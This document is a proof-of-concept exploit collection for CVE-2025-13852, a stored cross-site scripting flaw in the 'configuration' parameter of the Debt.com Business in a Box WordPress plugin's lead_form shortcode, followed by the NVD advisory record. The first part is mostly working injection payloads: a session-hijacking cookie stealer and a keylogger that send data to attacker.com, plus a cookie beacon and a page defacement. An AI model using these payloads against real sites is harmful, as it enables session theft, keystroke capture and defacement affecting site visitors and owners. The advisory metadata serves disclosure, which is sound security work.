CVE-2025-13852

<!-- WordPress Shortcode XSS PoC for CVE-2025-13852 --> <!-- Authenticated Contributor+ required to insert shortcode --> <!-- Basic XSS PoC --> [lead_form configuration='<script>alert(document.cookie)</script>'] <!-- Session Hijacking PoC --> [lead_form configuration='<img src=x onerror="fetch(`https://attacker.com/steal?c=`+document.cookie)">'] <!-- Keylogger PoC --> [lead_form configuration='<script>document.addEventListener("keypress",function(e){fetch("https://attacker.com/log?k="+e.key)})</script>'] <!-- Stored Cookie Theft --> [lead_form configuration='<script>document.write("<img src=https://attacker.com/log?c="+encodeURIComponent(document.cookie)+">")</script>'] <!-- Defacement PoC --> [lead_form configuration='<script>document.body.innerHTML="<h1>Hacked</h1>"</script>'] <!-- Note: attacker needs Contributor+ role to insert shortcode in WordPress -->

{"cve": {"id": "CVE-2025-13852", "sourceIdentifier": "[email protected]", "published": "2026-01-09T12:15:51.890", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Debt.com Business in a Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'configuration' parameter of the lead_form shortcode in all versions up to, and including, 4.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Debt.com Business in a Box para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'configuration' del shortcode lead_form en todas las versiones hasta la 4.1.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/debtcom-business-in-a-box/tags/4.1.0/inc/bib_form.php#L256", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/debtcom-business-in-a-box/trunk/inc/bib_form.php#L256", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1bb58556-29be-4272-85fc-bb2b7c72abf4?source=cve", "source": "[email protected]"}]}}